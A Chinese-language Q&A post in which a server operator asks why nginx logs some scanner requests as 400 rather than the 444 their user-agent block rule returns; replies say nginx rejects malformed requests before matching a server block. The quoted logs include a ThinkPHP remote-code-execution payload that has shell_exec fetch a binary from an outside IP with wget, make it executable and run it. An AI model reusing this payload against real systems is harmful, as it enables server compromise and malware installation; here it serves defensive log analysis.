Security 如何阻止远程代码执行漏洞Nginx?

Security 如何阻止远程代码执行漏洞Nginx?,security,nginx,bots,Security,Nginx,Bots,我收到对nginx的奇怪请求,这些请求试图执行php代码,即使我没有安装php 我使用docker compose运行由5部分组成的应用程序: dm网关-nginx:1.19.2作为反向代理 keymetrics/pm2:12-alpine以角度运行 openjdk:8-jdk-alpine运行java应用程序 mysql:8.0 certbot 我已将nginx配置为在出现headerUirusu时返回444 if ($http_user_agent ~* "puzzles|Ui

我收到对nginx的奇怪请求,这些请求试图执行php代码,即使我没有安装php

我使用docker compose运行由5部分组成的应用程序:

  • dm网关-nginx:1.19.2作为反向代理
  • keymetrics/pm2:12-alpine以角度运行
  • openjdk:8-jdk-alpine运行java应用程序
  • mysql:8.0
  • certbot
我已将nginx配置为在出现headerUirusu时返回444

if ($http_user_agent ~* "puzzles|Uirusu|zgrab|ZmEu") {
      return 444;
}
当我从postman或curl调用基url时,规则按预期工作。我看到以下带有状态代码的日志444

dm-gateway *.*.114.126 - - [10/Oct/2020:10:32:04 +0000] "GET / HTTP/1.1" 444 0 "-" "Uirusu/2.0"
最近,在分析了我的日志后,我仍然注意到当有人用用户代理Uirusu给我打电话时,状态代码400

dm-gateway | 197.44.170.84 - - [10/Oct/2020:10:52:18 +0000] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://89.248.168.215/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 150 "-" "Uirusu/2.0"
我甚至尝试自己执行相同的url来验证它,结果它像预期的那样被阻止了。事实上,它返回的444正确

dm-gateway | 2.233.114.126 - - [10/Oct/2020:11:05:33 +0000] "GET /index.php?s=/index/%5Cx09hink%5Cx07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=%27wget%20http://89.248.168.215/bins/x86%20-O%20thonkphp%20;%20chmod%20777%20thonkphp%20;%20./thonkphp%20ThinkPHP%20;%20rm%20-rf%20thinkphp%27 HTTP/1.1" 444 0 "-" "Uirusu/2.0"
我还注意到我和其他人在通话记录上的差异。我的呼叫显示为“url编码”

我还使用
netstat-lntp检查了端口

root@dm:/var/app# netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      513/systemd-resolve 
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      583/sshd: /usr/sbin 
tcp6       0      0 :::443                  :::*                    LISTEN      357727/docker-proxy 
tcp6       0      0 :::3306                 :::*                    LISTEN      357778/docker-proxy 
tcp6       0      0 :::80                   :::*                    LISTEN      357766/docker-proxy 
tcp6       0      0 :::22                   :::*                    LISTEN      583/sshd: /usr/sbin

我这里有点堵了。我不明白为什么我的呼叫会被正确阻止,而其他人的呼叫不会被正确阻止?

嗯,您的Nginx必须先处理请求,然后才能返回444状态。400表示“坏请求”,所以在Nginx决定处理它之前它就被拒绝了。但是哪个应用程序拒绝了它?我使用Ubuntu20.04 LTS,但由于我在nginx日志中看到了400,似乎调用到达nginx,返回了错误的请求,而不是444Nginx收到了请求,并判定该请求无效,因此决定在尝试将其与
服务器
块匹配之前拒绝该请求。